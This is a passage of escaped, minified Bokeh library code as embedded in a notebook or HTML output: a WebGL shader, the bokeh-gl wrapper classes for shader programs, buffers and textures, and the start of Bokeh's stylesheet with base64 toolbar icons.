(void)\\\\n{\\\\n    v_size = a_size * u_pixel_ratio;\\\\n    v_linewidth = a_linewidth * u_pixel_ratio;\\\\n    v_fg_color = a_fg_color;\\\\n    v_bg_color = a_bg_color;\\\\n    v_rotation = vec2(cos(-a_angle), sin(-a_angle));\\\\n    // Calculate position - the -0.5 is to correct for canvas origin\\\\n    vec2 pos = (vec2(a_x, a_y) + u_offset) * u_scale; // in pixels\\\\n    pos += 0.5;  // make up for Bokeh's offset\\\\n    pos /= u_canvas_size / u_pixel_ratio;  // in 0..1\\\\n    gl_Position = vec4(pos*2.0-1.0, 0.0, 1.0);\\\\n    gl_Position.y *= -1.0;\\\\n    gl_PointSize = SQRT_2 * v_size + 2.0 * (v_linewidth + 1.5*u_antialias);\\\\n}\\\\n\\\"},460:function(t,e,n){var a,s,o,i,r,p,d,l,u,x=function(t,e){return Array.isArray(t)&&Array.isArray(e)?t.concat(e):t+e},g=function(t,e){if(null==e);else{if(Array.isArray(e)){for(var n=0;n<e.length;n++)if(v(t,e[n]))return!0;return!1}if(e.constructor===Object){for(var a in e)if(t==a)return!0;return!1}if(e.constructor==String)return 0<=e.indexOf(t)}var s=Error(\\\"Not a container: \\\"+e);throw s.name=\\\"TypeError\\\",s},v=function t(e,n){if(null==e||null==n);else{if(Array.isArray(e)&&Array.isArray(n)){for(var a=0,s=e.length==n.length;s&&a<e.length;)s=t(e[a],n[a]),a+=1;return s}if(e.constructor===Object&&n.constructor===Object){var i=Object.keys(e),r=Object.keys(n);i.sort(),r.sort();for(var o,a=0,s=t(i,r);s&&a<i.length;)o=i[a],s=t(e[o],n[o]),a+=1;return s}}return e==n},_=function(t,e){if(void 0===t||\\\"undefined\\\"!=typeof window&&window===t||\\\"undefined\\\"!=typeof global&&global===t)throw\\\"Class constructor is called as a function.\\\";for(var n in t)void 0!==Object[n]||\\\"function\\\"!=typeof t[n]||t[n].nobind||(t[n]=t[n].bind(t));t.__init__&&t.__init__.apply(t,e)},m=function(t,e){if((\\\"number\\\"==typeof t)+(\\\"number\\\"==typeof e)===1){if(t.constructor===String)return h.call(t,e);if(e.constructor===String)return h.call(e,t);if(Array.isArray(e)){var n=t;t=e,e=n}if(Array.isArray(t)){for(var a=[],s=0;s<e;s++)a=a.concat(t);return a}}return t*e},y=function(t){return null===t||\\\"object\\\"!=typeof t?t:void 0!==t.length?!!t.length&&t:void 0!==t.byteLength?!!t.byteLength&&t:t.constructor!==Object||!!Object.getOwnPropertyNames(t).length&&t},b=function(t){if(!Array.isArray(this))return this.append.apply(this,arguments);this.push(t)},w=function(t,e){return this.constructor!==Object?this.get.apply(this,arguments):void 0!==this[t]?this[t]:void 0!==e?e:null},P=function(t){if(!Array.isArray(this))return this.remove.apply(this,arguments);for(var e=0;e<this.length;e++)if(v(this[e],t))return void this.splice(e,1);var n=Error(t);throw n.name=\\\"ValueError\\\",n},h=function(t){if(this.repeat)return this.repeat(t);if(t<1)return\\\"\\\";for(var e=\\\"\\\",n=this.valueOf();1<t;)1&t&&(e+=n),t>>=1,n+=n;return e+n},c=function(t){return this.constructor!==String?this.startswith.apply(this,arguments):0==this.indexOf(t)};u=window.console,l=function(t,e){var n,a,s,i,r,o,l;for(e=void 0===e?\\\"periodic check\\\":e,i=[];a=t.getError(),!(v(a,t.NO_ERROR)||y(i)&&v(a,i[i.length-1]));)b.call(i,a);if(i.length){for(r=\\\"\\\",\\\"object\\\"!=typeof(o=i)||Array.isArray(o)||(o=Object.keys(o)),l=0;l<o.length;l+=1)n=o[l],r=x(r,n);throw(s=new Error(\\\"RuntimeError:OpenGL got errors (\\\"+e+\\\"): \\\"+r)).name=\\\"RuntimeError\\\",s}return null},(s=function(){_(this,arguments)}).prototype._base_class=Object,s.prototype._class_name=\\\"GlooObject\\\",s.prototype.__init__=function(t){if(this._gl=t,this.handle=null,this._create(),null===this.handle)throw\\\"AssertionError: this.handle !== null\\\";return null},s.prototype._create=function(){var t;throw(t=new Error(\\\"NotImplementedError:\\\")).name=\\\"NotImplementedError\\\",t},((i=function(){_(this,arguments)}).prototype=Object.create(s.prototype))._base_class=s.prototype,i.prototype._class_name=\\\"Program\\\",i.prototype.UTYPEMAP={float:\\\"uniform1fv\\\",vec2:\\\"uniform2fv\\\",vec3:\\\"uniform3fv\\\",vec4:\\\"uniform4fv\\\",int:\\\"uniform1iv\\\",ivec2:\\\"uniform2iv\\\",ivec3:\\\"uniform3iv\\\",ivec4:\\\"uniform4iv\\\",bool:\\\"uniform1iv\\\",bvec2:\\\"uniform2iv\\\",bvec3:\\\"uniform3iv\\\",bvec4:\\\"uniform4iv\\\",mat2:\\\"uniformMatrix2fv\\\",mat3:\\\"uniformMatrix3fv\\\",mat4:\\\"uniformMatrix4fv\\\",sampler1D:\\\"uniform1i\\\",sampler2D:\\\"uniform1i\\\",sampler3D:\\\"uniform1i\\\"},i.prototype.ATYPEMAP={float:\\\"vertexAttrib1f\\\",vec2:\\\"vertexAttrib2f\\\",vec3:\\\"vertexAttrib3f\\\",vec4:\\\"vertexAttrib4f\\\"},i.prototype.ATYPEINFO={float:[1,5126],vec2:[2,5126],vec3:[3,5126],vec4:[4,5126]},i.prototype._create=function(){return this.handle=this._gl.createProgram(),this.locations={},this._unset_variables=[],this._validated=!1,this._samplers={},this._attributes={},this._known_invalid=[],null},i.prototype.delete=function(){return this._gl.deleteProgram(this.handle),null},i.prototype.activate=function(){return this._gl.useProgram(this.handle),null},i.prototype.deactivate=function(){return this._gl.useProgram(0),null},i.prototype.set_shaders=function(t,e){var n,a,s,i,r,o,l,_,h,c,f,d,u;for(o=this._gl,this._linked=!1,u=o.createShader(o.VERTEX_SHADER),r=o.createShader(o.FRAGMENT_SHADER),f=[[t,u,\\\"vertex\\\"],[e,r,\\\"fragment\\\"]],_=0;_<2;_+=1)if(n=(c=f[_])[0],l=c[1],d=c[2],o.shaderSource(l,n),o.compileShader(l),h=o.getShaderParameter(l,o.COMPILE_STATUS),!y(h))throw i=o.getShaderInfoLog(l),(s=new Error(\\\"RuntimeError:\\\"+x(\\\"errors in \\\"+d+\\\" shader:\\\\n\\\",i))).name=\\\"RuntimeError\\\",s;if(o.attachShader(this.handle,u),o.attachShader(this.handle,r),o.linkProgram(this.handle),!y(o.getProgramParameter(this.handle,o.LINK_STATUS)))throw(a=new Error(\\\"RuntimeError:Program link error:\\\\n\\\"+o.getProgramInfoLog(this.handle))).name=\\\"RuntimeError\\\",a;return this._unset_variables=this._get_active_attributes_and_uniforms(),o.detachShader(this.handle,u),o.detachShader(this.handle,r),o.deleteShader(u),o.deleteShader(r),this._known_invalid=[],this._linked=!0,null},i.prototype._get_active_attributes_and_uniforms=function(){var s,t,e,n,a,i,r,o,l,_,h,c,f,d,u,g,p,v,m;for(o=this._gl,this.locations={},d=new window.RegExp(\\\"(\\\\\\\\w+)\\\\\\\\s*(\\\\\\\\[(\\\\\\\\d+)\\\\\\\\])\\\\\\\\s*\\\"),a=o.getProgramParameter(this.handle,o.ACTIVE_UNIFORMS),t=o.getProgramParameter(this.handle,o.ACTIVE_ATTRIBUTES),v=[],\\\"object\\\"!=typeof(g=[[s=[],t,o.getActiveAttrib,o.getAttribLocation],[v,a,o.getActiveUniform,o.getUniformLocation]])||Array.isArray(g)||(g=Object.keys(g)),p=0;p<g.length;p+=1)for(m=g[p],e=(u=m)[0],n=u[1],i=u[2],r=u[3],l=0;l<n;l+=1){if(_=i.call(o,this.handle,l),f=_.name,c=f.match(d),y(c))for(f=c[1],h=0;h<_.size;h+=1)b.call(e,[f+\\\"[\\\"+h+\\\"]\\\",_.type]);else b.call(e,[f,_.type]);this.locations[f]=r.call(o,this.handle,f)}return x(function(){var t,e,n,a=[];for(\\\"object\\\"!=typeof(e=s)||Array.isArray(e)||(e=Object.keys(e)),n=0;n<e.length;n++)t=e[n],a.push(t[0]);return a}.apply(this),function(){var t,e,n,a=[];for(\\\"object\\\"!=typeof(e=v)||Array.isArray(e)||(e=Object.keys(e)),n=0;n<e.length;n++)t=e[n],a.push(t[0]);return a}.apply(this))},i.prototype.set_texture=function(t,e){var n,a,s;if(!y(this._linked))throw(n=new Error(\\\"RuntimeError:Cannot set uniform when program has no code\\\")).name=\\\"RuntimeError\\\",n;return a=w.call(this.locations,t,-1),y(a<0)?g(t,this._known_invalid)||(b.call(this._known_invalid,t),u.log(\\\"Variable \\\"+t+\\\" is not an active texture\\\")):(g(t,this._unset_variables)&&P.call(this._unset_variables,t),this.activate(),s=function(){return\\\"function\\\"==typeof this.keys?this.keys.apply(this,arguments):Object.keys(this)}.call(this._samplers).length,g(t,this._samplers)&&(s=this._samplers[t][this._samplers[t].length-1]),this._samplers[t]=[e._target,e.handle,s],this._gl.uniform1i(a,s)),null},i.prototype.set_uniform=function(t,e,n){var a,s,i,r,o,l,_;if(!y(this._linked))throw(i=new Error(\\\"RuntimeError:Cannot set uniform when program has no code\\\")).name=\\\"RuntimeError\\\",i;if(o=w.call(this.locations,t,-1),y(o<0))return g(t,this._known_invalid)||(b.call(this._known_invalid,t),u.log(\\\"Variable \\\"+t+\\\" is not an active uniform\\\")),null;if(g(t,this._unset_variables)&&P.call(this._unset_variables,t),s=1,c.call(e,\\\"mat\\\")||(a=w.call({int:\\\"float\\\",bool:\\\"float\\\"},e,function(t){if(this.constructor!==String)return this.lstrip.apply(this,arguments);t=void 0===t?\\\" \\\\t\\\\r\\\\n\\\":t;for(var e=0;e<this.length;e++)if(t.indexOf(this[e])<0)return this.slice(e);return\\\"\\\"}.call(e,\\\"ib\\\")),s=Math.floor(n.length/this.ATYPEINFO[a][0])),y(1<s))for(l=0;l<s;l+=1)g(t+\\\"[\\\"+l+\\\"]\\\",this._unset_variables)&&g(_=t+\\\"[\\\"+l+\\\"]\\\",this._unset_variables)&&P.call(this._unset_variables,_);return r=this.UTYPEMAP[e],this.activate(),c.call(e,\\\"mat\\\")?this._gl[r](o,!1,n):this._gl[r](o,n),null},i.prototype.set_attribute=function(t,e,n,a,s){var i,r,o,l,_,h,c,f;if(a=void 0===a?0:a,s=void 0===s?0:s,!y(this._linked))throw(r=new Error(\\\"RuntimeError:Cannot set attribute when program has no code\\\")).name=\\\"RuntimeError\\\",r;return h=n instanceof d,_=w.call(this.locations,t,-1),y(_<0)?g(t,this._known_invalid)||(b.call(this._known_invalid,t),y(h)&&y(0<s)||u.log(\\\"Variable \\\"+t+\\\" is not an active attribute\\\")):(g(t,this._unset_variables)&&P.call(this._unset_variables,t),this.activate(),y(h)?(f=this.ATYPEINFO[e],c=f[0],l=f[1],o=\\\"vertexAttribPointer\\\",i=[c,l,this._gl.FALSE,a,s],this._attributes[t]=[n.handle,_,o,i]):(o=this.ATYPEMAP[e],this._attributes[t]=[0,_,o,n])),null},i.prototype._pre_draw=function(){var t,e,n,a,s,i,r,o,l,_,h,c;for(c in this.activate(),r=this._samplers)r.hasOwnProperty(c)&&(c=r[c],l=(i=c)[0],o=i[1],_=i[2],this._gl.activeTexture(x(this._gl.TEXTURE0,_)),this._gl.bindTexture(l,o));for(c in s=this._attributes)s.hasOwnProperty(c)&&(c=s[c],h=(a=c)[0],e=a[1],n=a[2],t=a[3],y(h)?(this._gl.bindBuffer(this._gl.ARRAY_BUFFER,h),this._gl.enableVertexAttribArray(e)):(this._gl.bindBuffer(this._gl.ARRAY_BUFFER,null),this._gl.disableVertexAttribArray(e)),this._gl[n].apply(this._gl,[].concat([e],t)));return y(this._validated)||(this._validated=!0,this._validate()),null},i.prototype._validate=function(){var t;if(this._unset_variables.length&&u.log(\\\"Program has unset variables: \\\"+this._unset_variables),this._gl.validateProgram(this.handle),!y(this._gl.getProgramParameter(this.handle,this._gl.VALIDATE_STATUS)))throw u.log(this._gl.getProgramInfoLog(this.handle)),(t=new Error(\\\"RuntimeError:Program validation error\\\")).name=\\\"RuntimeError\\\",t;return null},i.prototype.draw=function(t,e){var n,a,s,i,r;if(!y(this._linked))throw(a=new Error(\\\"RuntimeError:Cannot draw program if code has not been set\\\")).name=\\\"RuntimeError\\\",a;return l(this._gl,\\\"before draw\\\"),y(e instanceof o)?(this._pre_draw(),e.activate(),n=e._buffer_size/2,i=this._gl.UNSIGNED_SHORT,this._gl.drawElements(t,n,i,0),e.deactivate()):(s=(r=e)[0],n=r[1],y(n)&&(this._pre_draw(),this._gl.drawArrays(t,s,n))),l(this._gl,\\\"after draw\\\"),null},((a=function(){_(this,arguments)}).prototype=Object.create(s.prototype))._base_class=s.prototype,a.prototype._class_name=\\\"Buffer\\\",a.prototype._target=null,a.prototype._usage=35048,a.prototype._create=function(){return this.handle=this._gl.createBuffer(),this._buffer_size=0,null},a.prototype.delete=function(){return this._gl.deleteBuffer(this.handle),null},a.prototype.activate=function(){return this._gl.bindBuffer(this._target,this.handle),null},a.prototype.deactivate=function(){return this._gl.bindBuffer(this._target,null),null},a.prototype.set_size=function(t){return v(t,this._buffer_size)||(this.activate(),this._gl.bufferData(this._target,t,this._usage),this._buffer_size=t),null},a.prototype.set_data=function(t,e){return this.activate(),this._gl.bufferSubData(this._target,t,e),null},(d=function(){_(this,arguments)}).prototype=Object.create(a.prototype),d.prototype._base_class=a.prototype,d.prototype._class_name=\\\"VertexBuffer\\\",d.prototype._target=34962,(o=function(){_(this,arguments)}).prototype=Object.create(a.prototype),o.prototype._base_class=a.prototype,o.prototype._class_name=\\\"IndexBuffer\\\",o.prototype._target=34963,((r=function(){_(this,arguments)}).prototype=Object.create(s.prototype))._base_class=s.prototype,r.prototype._class_name=\\\"Texture2D\\\",r.prototype._target=3553,r.prototype._types={Int8Array:5120,Uint8Array:5121,Int16Array:5122,Uint16Array:5123,Int32Array:5124,Uint32Array:5125,Float32Array:5126},r.prototype._create=function(){return this.handle=this._gl.createTexture(),this._shape_format=null},r.prototype.delete=function(){return this._gl.deleteTexture(this.handle),null},r.prototype.activate=function(){return this._gl.bindTexture(this._target,this.handle),null},r.prototype.deactivate=function(){return this._gl.bindTexture(this._target,0),null},r.prototype._get_alignment=function(t){var e,n,a;for(\\\"object\\\"!=typeof(n=[4,8,2,1])||Array.isArray(n)||(n=Object.keys(n)),a=0;a<n.length;a+=1)if(e=n[a],v(t%e,0))return e;return null},r.prototype.set_wrapping=function(t,e){return this.activate(),this._gl.texParameterf(this._target,this._gl.TEXTURE_WRAP_S,t),this._gl.texParameterf(this._target,this._gl.TEXTURE_WRAP_T,e),null},r.prototype.set_interpolation=function(t,e){return this.activate(),this._gl.texParameterf(this._target,this._gl.TEXTURE_MIN_FILTER,t),this._gl.texParameterf(this._target,this._gl.TEXTURE_MAG_FILTER,e),null},r.prototype.set_size=function(t,e){var n,a,s;return n=(a=t)[0],s=a[1],v([n,s,e],this._shape_format)||(this._shape_format=[n,s,e],this.activate(),this._gl.texImage2D(this._target,0,e,s,n,0,e,this._gl.UNSIGNED_BYTE,null)),this.u_shape=[n,s],null},r.prototype.set_data=function(t,e,n){var a,s,i,r,o,l,_,h,c,f;if(v(e.length,2)&&(e=[e[0],e[1],1]),this.activate(),i=this._shape_format[2],o=(l=e)[0],h=l[1],l[2],f=(_=t)[0],c=_[1],null===(r=w.call(this._types,n.constructor.name,null)))throw(s=new Error(\\\"ValueError:Type \\\"+n.constructor.name+\\\" not allowed for texture\\\")).name=\\\"ValueError\\\",s;return a=this._get_alignment(m(e[e.length-2],e[e.length-1])),v(a,4)||this._gl.pixelStorei(this._gl.UNPACK_ALIGNMENT,a),this._gl.texSubImage2D(this._target,0,c,f,h,o,i,r,n),v(a,4)||this._gl.pixelStorei(this._gl.UNPACK_ALIGNMENT,4),null},((p=function(){_(this,arguments)}).prototype=Object.create(r.prototype))._base_class=r.prototype,p.prototype._class_name=\\\"Texture3DLike\\\",p.prototype.GLSL_SAMPLE_NEAREST=\\\"\\\\n        vec4 sample3D(sampler2D tex, vec3 texcoord, vec3 shape, vec2 tiles) {\\\\n            shape.xyz = shape.zyx;  // silly row-major convention\\\\n            float nrows = tiles.y, ncols = tiles.x;\\\\n            // Don't let adjacent frames be interpolated into this one\\\\n            texcoord.x = min(texcoord.x * shape.x, shape.x - 0.5);\\\\n            texcoord.x = max(0.5, texcoord.x) / shape.x;\\\\n            texcoord.y = min(texcoord.y * shape.y, shape.y - 0.5);\\\\n            texcoord.y = max(0.5, texcoord.y) / shape.y;\\\\n\\\\n            float zindex = floor(texcoord.z * shape.z);\\\\n\\\\n            // Do a lookup in the 2D texture\\\\n            float u = (mod(zindex, ncols) + texcoord.x) / ncols;\\\\n            float v = (floor(zindex / ncols) + texcoord.y) / nrows;\\\\n\\\\n            return texture2D(tex, vec2(u,v));\\\\n        }\\\\n    \\\",p.prototype.GLSL_SAMPLE_LINEAR=\\\"\\\\n        vec4 sample3D(sampler2D tex, vec3 texcoord, vec3 shape, vec2 tiles) {\\\\n            shape.xyz = shape.zyx;  // silly row-major convention\\\\n            float nrows = tiles.y, ncols = tiles.x;\\\\n            // Don't let adjacent frames be interpolated into this one\\\\n            texcoord.x = min(texcoord.x * shape.x, shape.x - 0.5);\\\\n            texcoord.x = max(0.5, texcoord.x) / shape.x;\\\\n            texcoord.y = min(texcoord.y * shape.y, shape.y - 0.5);\\\\n            texcoord.y = max(0.5, texcoord.y) / shape.y;\\\\n\\\\n            float z = texcoord.z * shape.z;\\\\n            float zindex1 = floor(z);\\\\n            float u1 = (mod(zindex1, ncols) + texcoord.x) / ncols;\\\\n            float v1 = (floor(zindex1 / ncols) + texcoord.y) / nrows;\\\\n\\\\n            float zindex2 = zindex1 + 1.0;\\\\n            float u2 = (mod(zindex2, ncols) + texcoord.x) / ncols;\\\\n            float v2 = (floor(zindex2 / ncols) + texcoord.y) / nrows;\\\\n\\\\n            vec4 s1 = texture2D(tex, vec2(u1, v1));\\\\n            vec4 s2 = texture2D(tex, vec2(u2, v2));\\\\n\\\\n            return s1 * (zindex2 - z) + s2 * (z - zindex1);\\\\n        }\\\\n    \\\",p.prototype._get_tile_info=function(t){var e,n,a,s;if(n=this._gl.getParameter(this._gl.MAX_TEXTURE_SIZE),s=Math.floor(n/t[1]),s=Math.min(s,t[0]),a=window.Math.ceil(t[0]/s),y(m(a,t[2])>n))throw(e=new Error(\\\"RuntimeError:Cannot fit 3D data with shape \\\"+t+\\\" onto simulated 2D texture.\\\")).name=\\\"RuntimeError\\\",e;return[s,a]},p.prototype.set_size=function(t,e){var n,a,s,i;return i=this._get_tile_info(t),a=i[0],n=i[1],s=[m(t[1],a),m(t[2],n)],p.prototype._base_class.set_size.call(this,s,e),this.u_shape=[t[0],t[1],t[2]],this.u_tiles=[n,a],null},p.prototype.set_data=function(s,t,e){var n,a,i,r,o,l,_,h,c,f,d,u,g;if(v(t.length,3)&&(t=[t[0],t[1],t[2],1]),!function(t){for(var e=0;e<t.length;e++)if(!y(t[e]))return!1;return!0}(function(){var t,e,n,a=[];for(\\\"object\\\"!=typeof(e=s)||Array.isArray(e)||(e=Object.keys(e)),n=0;n<e.length;n++)t=e[n],a.push(v(t,0));return a}.apply(this)))throw(r=new Error(\\\"ValueError:Texture3DLike does not support nonzero offset (for now)\\\")).name=\\\"ValueError\\\",r;if(c=this._get_tile_info(t),l=c[0],o=c[1],h=[m(t[1],l),m(t[2],o),t[3]],v(o,1))p.prototype._base_class.set_data.call(this,[0,0],h,e);else for(n=e.constructor,g=new n(m(m(h[0],h[1]),h[2])),p.prototype._base_class.set_data.call(this,[0,0],h,g),u=0;u<t[0];u+=1)f=[Math.floor(u/o),u%o],_=f[0],a=f[1],i=Math.floor(e.length/t[0]),d=e.slice(m(u,i),m(u+1,i)),p.prototype._base_class.set_data.call(this,[m(_,t[1]),m(a,t[2])],t.slice(1),d);return null},e.exports={Buffer:a,GlooObject:s,IndexBuffer:o,Program:i,Texture2D:r,Texture3DLike:p,VertexBuffer:d,check_error:l,console:u}}})}(this);\\n      //# sourceMappingURL=bokeh-gl.min.js.map\\n      /* END bokeh-gl.min.js */\\n    },\\n    \\n    function(Bokeh) {\\n      Bokeh.set_log_level(\\\"info\\\");\\n    },\\n    \\n    function(Bokeh) {\\n      \\n    },\\n    function(Bokeh) {\\n      console.log(\\\"Bokeh: injecting raw CSS\\\");\\n      Bokeh.embed.inject_raw_css(\\\"/* BEGIN bokeh.min.css */\\\\n.bk-root{font-family:\\\\\\\"Helvetica Neue\\\\\\\",Helvetica,Arial,sans-serif;font-size:10pt;position:relative;width:auto;height:auto}.bk-root .bk-shading{position:absolute;display:block;border:1px dashed green}.bk-root .bk-tile-attribution a{color:black}.bk-root .bk-tool-icon-box-select{background-image:url(\\\\\\\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH4gEMEg0kduFrowAAAIdJREFUWMPtVtEKwCAI9KL//4e9DPZ3+wP3KgOjNZouFYI4C8q7s7DtB1lGIeMoRMRinCLXg/ML3EcFqpjjloOyZxRntxpwQ8HsgHYARKFAtSFrCg3TCdMFCE1BuuALEXJLjC4qENsFVXCESZw38/kWLOkC/K4PcOc/Hj03WkoDT3EaWW9egQul6CUbq90JTwAAAABJRU5ErkJggg==\\\\\\\")}.bk-root .bk-tool-icon-box-zoom{background-image:url(\\\\\\\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH4gEMEg82t254aQAAAkBJREFUWMPN11+E1FEUB/DPTFn2qaeIpcSwr5NlUyJiKWVXWUqvlUh/iE3RY9mUekkPPURtLKNRrFJEeuphGfUUaVliiX1aVjGs6aG7+XX9ZnZ+d2fTl2vmnHvPPfeee/79Sk+may2/UQq/q7Qu+bAJoxjHIKqB/wlfUMcMVqI9bLZ+DGIKwzlzQ2GcxCx2xwvKOUKlaHTiX8bHNspjDONHkOmJBW5jIof/FvPh/06MZOb6cRc7cGn1AKUE5cdzlM/gAr5F/O24H3xkFRfxAbVygvK+cIsspjGWo1zgjeFpxL+BvnLw7laBA4xjIFJwrgu52DoVjKdY4HBEX8dSF3JLYe1fe6UcYCii3xWQjdfuSTnAtoheKCC7GNED5Zx4L4qt61jbTLHA94geKSC7P7ZeShQ0Inoi1IJuEOeORooFXkV0FZNdZs5qvFfKAeqYy7nZ6yg//HG0MBfffh71lFrQDCW2EvEP4mt4okZUDftz9rmGZkotmMxJRtlisy+MTniAWrty3AlXw0hFM2TD89l+oNsoOJXjbIs4EpqNtTCLXbiZ0g+M4mFObj8U3vsNjoZCVcmk60ZwthpepLZkB/AsivWfOJZxtpUQHfWib7KWDwzjeegBZJSdKFiE2qJTFFTwElsi/unQ/awXrU4WGMD7nOJxBY/1EO2iYConq93CHT1GOwucjdqnRyFz+VcHmMNefMY9nNkA3SWUOoXhQviSWQ4huLIRFlirFixnQq/XaKXUgg2xQNGv4V7x/RcW+AXPB3h7H1PaiQAAAABJRU5ErkJggg==\\\\\\\")}.bk-root .bk-tool-icon-zoom-in{background-image:url(\\\\\\\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH4gEMEgsUBmL8iQAAA2JJREFUWMO9l12IlFUYx3//MzPrLpSjkm5oN4FFIWVEl66IQlFYwtLOzozsjHdGRSCRF0sfBEXRVV0FQuQiLm5CZNBFgRRaRLVFhbJ2EdiN5gbK7toObTPn6eYdPTvNzPvOBz5Xh/ec5/n/n89zXtEHmZqeSXSuXBz/3zfdKvBWJHQrwZuRcP0El+QkbQXeBX6WZEgm6TtJk5lM5o4Lc+cV6qpf4Ga20Tm338zeATItVK9Ker6yvPzp4NDQ3+XieGsCU9MzTYumGbhz7m4ze9/MHgvBgItACrgfGAj2jgAvAYs3wlEujjc13kii8YyZrXXOfWhmo9GnFUlvOOemarVapVqtkslksmb2KjARqL62ecuWN9NxbRInzrldAXhV0uFSIfdew7G/gNLU9MwS8CwSmE3Oz88fcXG5blfpqVRq0Ix8VIAAX0XgrVL7HDCHGcCaWrV60LUBN8Dae58aQIxEqcA592I9M610JL0cpG/U9TIHJNKY3RV5z0R+7Nd4HZ0P1g/2RMBuegLAsRMnb4vT8d5vqKfMzOgtAlADrkmqGywmiMBTwfr3dC9j1Xv/r6Tvg/5/5ejxE6cO7M9faVbQZrYNOFSPmqQvVo9FKexvi5uWX58943aM7DwAfBDY+FbSCxP5sdkGx55GeguzrUEXPaSo2pFkAbiSZQCAzZJOmdkjwd6SpB/M7KykQTPbA2wDhoIzRzcNDx9MJwGNIXdJ0mEzmwbujL7dbma7gd03A7lKfnTOvf74nl0r6bonTUbujRSUCrm2d4L3/kvn3JPe+8+BDW2i9o+kT7z3kxP5sYsA6W47oE64TsR7P9tQL4vA2mh9WdIscKxUyJ0M7aR7acOGzikD65EQLEjaa2ZXzMwDFeB6qZBbbLTRE4EGeSaozNOZgYFf8qP7lmIvs354n0qlHpB0T7B9Ogl4IgJJrmjv/SiQjbrkD+BMUkfSbYATPdckrTOzkciWAXOlQu5cYgLdPEIapud9wMOR9zVJH3ViKx333mtHMJvNuoWFhZ3A+ojMcja77njXBEKwJJfTcqUyCIQ34Mf7nnh0paMnXacFuGoC1mr3AtuDfLzd8Zuyl+rfuGn4HLAD+Az4qZQf+61TAj0Noj8vX6oC35SL43u7teG6rf5+iXppwW7/JUL5D03qaFRvvUe+AAAAAElFTkSuQmCC\\\\\\\")}.bk-root .bk-tool-icon-zoom-out{background-image:url(\\\\\\\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH4gEMEgsHgty9VwAAA0FJREFUWMO9l09oXFUUxn/fmXlpItppi22k7UJBRSlVkCytSAuKUloIdjKT0El3FXVXdVFKRVAQV7qQohsNwdA0UFvBhYtqUVyIVlRaogtFQVq7qSTVjA3z3nHzBq/jvPmTN/Ss7rv3nvN99/y794kByMzcfE/7picn/jenmwWeRUI3E7wdCRskuCSTdDfwBvCtJEdySV9KOhpF0e0/LF5SqKtBgbv7ZjObcvfXgShD9Zqk5+orKx8Oj4z8NT05kU1gZm6+bdK0Azezu9z9hLs/HoIBvwAF4H5gKFh7B3gBWFY3460kWve4+3oze9fdx9OpVUmvmNlMHMf1RqNBFEUldz8OHAxUX9q6bduryut+Sfvc/Wz62ZD0fK1afjND9y3gGSRwv1GMojstTxUUCoVhdyopEYDzKXjWwZ4FFnEHWBc3Goet00m7lZlZYQixKw0FZnakGZksHUnHgvCN5/KARBH37enpOVg58H13HV0Kxg/kIuD/ngSA2ZMLt3bTSZJkUzNk7k4+D0AM/CGpaXCyBw/sC8Y/qZd2GpZiuL9YLN4Sx/HpoP5/c/exQ1OVq+1yyt13SLoArEsJnMjlgfOffvK3u58Kprab2QezJxfG2iTzUzI70wRPG9jbmpmb95SNB9mpzp7/j2yVdNbdx4K565K+cvfPJQ27+x5gBzAS7Hlvy+jo4WIvoC3kWpcvS3rR3eeAO9K529x9N7C7zX6AC2b28hN7Hl1Vt44niVq13LUjmtlYkiQfA5s6eO+GpDNJkhw9NFX5ueNt2ARodyF1IHIN2JiOl4H16fiKpK+B2Vq1vBAqFAf4IJkGNiIhWJK0192vunsC1IE/a9XycquNXARa5OnApeeioaHvKuP7r3dTGsiLqFAo7JR0T7B8rhfwXARa2us4UEqr5Ffgs151i/08oTNKdIO770ptObBYq5Yv5ibQq/sl3Qc8lJ4+lnSqH1vFfp9koZRKJVtaWnqkWXqSVkqlDe+vmUDWpZMlK/X6MBDegKf3P/nYaj8ErN9fqZBYEsf3Ag8G8Xit33BaniTcvGX0IvAw8BHwTa1y4Md+CeRqRL9fudwAvpienNi7Vhu21uwflOT+L+i1X2TJP57iUvUFtHWsAAAAAElFTkSuQmCC\\\\\\\")}.bk-root .bk-tool-icon-help{background-image:url(\\\\\\\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAAXNSR0IArs4c6QAAAAlwSFlzAAALEwAACxMBAJqcGAAABltpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IlhNUCBDb3JlIDUuNC4wIj4KICAgPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4KICAgICAgPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIKICAgICAgICAgICAgeG1sbnM6dGlmZj0iaHR0cDovL25zLmFkb2JlLmNvbS90aWZmLzEuMC8iCiAgICAgICAgICAgIHhtbG5zOmV4aWY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vZXhpZi8xLjAvIgogICAgICAgICAgICB4bWxuczp4bXBNTT0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL21tLyIKICAgICAgICAgICAgeG1sbnM6c3RSZWY9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9zVHlwZS9SZXNvdXJjZVJlZiMiCiAgICAgICAgICAgIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIKICAgICAgICAgICAgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvIj4KICAgICAgICAgPHRpZmY6UmVzb2x1dGlvblVuaXQ+MjwvdGlmZjpSZXNvbHV0aW9uVW5pdD4KICAgI